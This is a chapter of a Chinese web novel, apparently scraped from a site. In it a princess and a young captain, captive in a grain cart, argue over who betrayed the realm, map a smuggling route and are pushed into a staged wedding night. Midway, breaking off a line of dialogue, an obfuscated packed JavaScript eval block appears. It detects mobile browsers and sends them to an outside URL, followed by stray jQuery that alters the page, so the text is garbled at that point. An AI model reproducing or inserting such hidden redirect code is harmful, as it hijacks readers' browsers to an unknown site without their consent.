马车上本就堆满了粟米草料,再塞进三人,已然逼仄不堪。
队伍一动,固荣压着声音道:“老大,我们刚刚比划两下就要丢了兵刃,吕将军会不会不信?”
“他如果不信,就不会把我们都绑了。”
执嫣蹲坐角落,手臂已然发麻,挪动身子,正待割开绳索,高骏不知何时已解开束缚。
趁他替固荣松绑,执嫣藏起匕首,眼看着就该轮到自己,高骏已越过她,透过窗缝看着车外。
未几,高骏扫了自己一眼,坐回原处。就连固荣要替她松绑,也被他阻拦。
“程家的马车每半个月就会运一次粮食出城,有两个固定接头处,等到接头的曜辰人一来,你就跟上。”
见他如此部署,执嫣打断道:“接头的人已经被吕述杀了,吕述不是叛徒。”
“你又从何得知?”
执嫣抬眼正对上他的质问:“高校尉想知道?给我松绑。”
高骏嗤笑一声:“放了你,好去给吕述通风报信,是吗?”
“若吕述真与曜辰勾结,他大可以抓了我去向曜辰邀功,为何定要杀我?”
“你为何会在运粮的马车上?”
“他们绑走小枝,我跟过来,正碰上吕述偷梁换柱。”
“小枝呢?”
“被带走了。”
“被谁带走了?”
“我不知道。”
“你武艺高强深藏不露,却被吕述抓住。吕述暴躁易怒,他要杀你,为何偏偏等我来才动手?这不是你们串通好演的一出苦肉计?”
自己如实作答,可他非但没有收敛,还愈发盛气凌人,执嫣仅剩的一点歉疚也被他消磨殆尽。
“高骏!我不是天胤的叛徒,也不是你的俘虏,你没有资格审我!”
剑拔弩张的气氛被一声肠鸣打破,固荣挠着脑袋,从怀中掏出一袋豆菽打开:“忙活一晚上了,你们吃吗?”
执嫣和高骏各自扭头,没人理会他。
固荣抓了一把塞进口中,嚼得正香,左右两边各自传来声响。“咕噜噜——”
“咕噜噜——”
他嘿嘿一笑,再次问道:“老大、公主?尝尝吧,可香了!”
高骏已张嘴接过,固荣正要去喂执嫣,顿觉不妥,见人还五花大绑着没法自己动手,暗中撞了撞高骏。
高骏觑一眼执嫣,见她嘴唇苍白,面带倦色,一双乌黑的眸子清冷如水,点头松口。
固荣会意,把豆菽往高骏手里一塞,立刻替她松绑。
麻绳一侧已被血浸透,固荣不由惊呼道:“公主受伤了?”
执嫣没有说话,掏出瓷瓶,药粉倒上伤口,疼得一下子躬身靠在窗上,浑身直冒冷汗。
半个手臂皆已被血沾湿,衬得手指异常苍白。
高骏从程赋生嘴里套了话,本想尾随运粮队伍一探究竟,没想到被吕述截胡破坏。
他知道吕述不是叛徒,可他自高裕战死后再未现身,高骏也想知道他葫芦里究竟卖的什么药。
而她,身怀绝技却隐瞒已久,令他尚未消散的疑虑重现端倪。
高骏只觉懊恼,见她还捏着空瓶,伸手取过准备丢弃,被她连手带瓶一并握住。
冰凉的薄茧紧攥住他指节,高骏觉出几分痒,执嫣已夺过瓷瓶收好。
平息半晌,执嫣语气如常:“吕述也想借此机会混入其中,可惜打草惊蛇,才把前来交涉的曜辰人都杀了。程家的蹄铁与因陈山中蹄印吻合,山道上也有零落的粟米和干草。如果于曜辰勾结的是程家,那么队伍极力保护、带走小枝的那个人,才是破局的关键。”
高骏想起方才路过的尸体,颧高眼深,再看执嫣面庞柔和,眸色深邃,反倒不像曜辰人。
掌心一重,执嫣低头看着手中豆菽,眼神不由自主凝滞其间。
她撵起一粒在指尖轻转,质朴的焦香味异常熟稔,滋味在唇齿间迸散,经由喉舌蔓延四肢百骸。
一时气血上涌,执嫣猛烈咳嗽起来,直到最后终于忍不住将头埋进膝头。
待她平复片刻,再抬起头,衣料已然湿透。
固荣见状,想起她惯爱肥脂华食,只当她是委屈,劝慰道:“这豆菽只是暂时充饥,等办完正事找回小枝姑娘,天胤有的是好吃的!”
执嫣心念一动,问道:“这是哪里来的?”
“帮小枝送药的时候英娘给的,我们行州人从小吃到大!好吃吧?”
酒酣后的臆测被落实,执嫣正待细问其他,就听高骏低声道:“吕述来了。”
三人即刻肃容,吕述一脚踹开车门,也不在意麻绳都已解开。看了眼面露不悦的高骏,又看了眼眼眶发红的执嫣,二话不说把二人押下马,塞进临时驻扎的营房内。
他不知从哪里变出两杯酒,放在二人面前,指着高骏满腹无奈:“你俩既然对上眼了,今天就在这里把事办了,也别嫌地儿简陋!等办完了事,你跟我回去上阵杀敌。”
脚步还没踏出帐外,他又折返回来,取下佩刀一把按在执嫣手里。
“丫头,你要是不愿意,现在反悔还来得及。混小子要是敢拦你,你就大刀砍他。做夫妻有今生没来世的,你可想明白了!”
吕述一走,二人面面相觑。
执嫣把刀放下,见高骏一直盯着,不由道:“吕述对你如此关心,瞧着不像作戏。”
高骏取过佩刀,嗤笑一声:“吕述是我爹的副将,同我爹出生入死,并肩作战了一辈子,我也不想怀疑他。可如今局势不明,他虎符在身又暗自匿藏押解粮草,谁知道他居心何在?还有你——”
执嫣直对上高骏探究的眼神,声音缓缓:“高校尉身在局中,当局者迷乃人之常情。可一旦露了短,被人捏住七寸,稍有不慎就是万劫不复。”
高骏移开目光,她虽字字诛心,却言之在理。
自己确实对父亲之死耿耿于怀,如若旁人一激便关心则乱,难免愠而致战,招致祸端。
高骏把两杯酒都饮下,长叹一声,耳廓微动,闻得帐外传来翕动声。
扬手抬到甩向门口,前来盯梢的人被吓退十米开外。
他提刀折返,见执嫣正用石子在地上画着什么,走近一看,正是从程家到此处的路线图。
“马车从程家出发,一路西行在此处接头。吕述杀人后,路线变化,看着的确是去往西关方向,可为何要走得如此迂回?”
高骏在她身畔蹲下,手指在路线两侧画出山峦烽燧。
“南北两侧是因陈山脉,此处一直向前,可通叠浪关。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380568|168457||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这里本无城关,十二年前,曜辰就是从这里入侵天胤,平西之战经我爹督建落成后,曜辰才不再袭扰。”
“向西直通西关,南北崎岖难行,那这些粮食原本要运往哪里呢?”
“程赋生说,这些粮食是他爹和曜辰的交易。”
“不对,曜辰不以粟米为食,城中售卖粟米的商户少之又少。这么多的粟米,半月一次的频率,经年累月,恐怕供养一个军队都绰绰有余。”
高骏手指点在图上,思绪逐渐清晰:“你刚才说,因陈山上有程家的马蹄印?”
“小枝医马那日,我仔细看过程家马场的马,不会有错。除却蹄铁,马场的马身上都有同一个烙印,和这里运粮的马如出一辙。”
“程家的马未入牧师苑,身上为何会有烙印?”
执嫣见他摇头,在地上汇出一个“上”字龙凤纹案。
高骏若有所思,随即想到幼时曾随父兄进京述职,曾见过这个纹案。
马驹玄墨如夜,佩上鎏金当卢,高大威猛,他心生向往,记了好久。直到自己得了白玉骢,才逐渐不再惦念。如今回想起来,已恍若隔世。
“这个烙印,我只在金吾卫御马的当卢上见过。”
“因陈山,马蹄印,金吾卫......难道会与阴兵有关?”
执嫣念叨着,渐渐忆起这名字出处,抬头正见高骏望着自己,目光灼灼。
执嫣回神垂眸,将石子放在因陈山上寒潭所在,正待开口,蓦地被一只大手捂住,长臂一带倒在地上。
她反应过来伸手推他,却被按在胸前动弹不得,抬腿去踢,又被他曲腿一拦死死压住。
执嫣又羞又恼,直到听吕述洪亮的声音从帐外传来,才知道高骏是在做戏,刚安下心,腰间突然被他一掐。
捂在面上的手随即撤开,执嫣痛呼出声,高骏已松开手将她扶起。
执嫣陡然意识到高骏做了什么,帐外又会误解成什么。
扭头见高骏侧坐在佩刀对面,耳尖泛起的红已洇到到脖颈,又涨回面上,执嫣不由觉得好笑,径自横生的怒意消散几分。
“没了,这么快?”
“不应该啊,老大平日里耐力极佳,不能到了关键时刻掉链子!”
吕述和固荣在外嘀咕,执嫣怕二人突然闯入,低头看地上舆图已在挣扎中不见影踪,凑近高骏柔声道:“高校尉。”
本想戏弄他,见高骏没有回应,她以为是天胤人面皮薄,收心正色道:“高校尉?”
轻推高骏手臂,他突然身子一歪,毫无预兆地倒在自己腿上。
执嫣拍着他酡红的脸,唤道:“高骏!”
吕述和固荣在外异口同声道:“他怎么了?”
“他没事。”
听得执嫣回应自如,吕述捶手顿足道:“没想到啊没想到,老高这么能耐,生出个儿子怎么这么窝囊!”
“他真没事,只是睡......”
“丫头你别急啊,回头边关太平了,我给他挖点人参补补。”
执嫣见越描越黑,索性闭嘴。
她推开高骏,一出门就被守在帐外的高瘦戍卒拦住。
他横刀在前,对吕述道:“她就是曜辰的和亲公主!吕将军,高将军大仇未报,不能让她走!”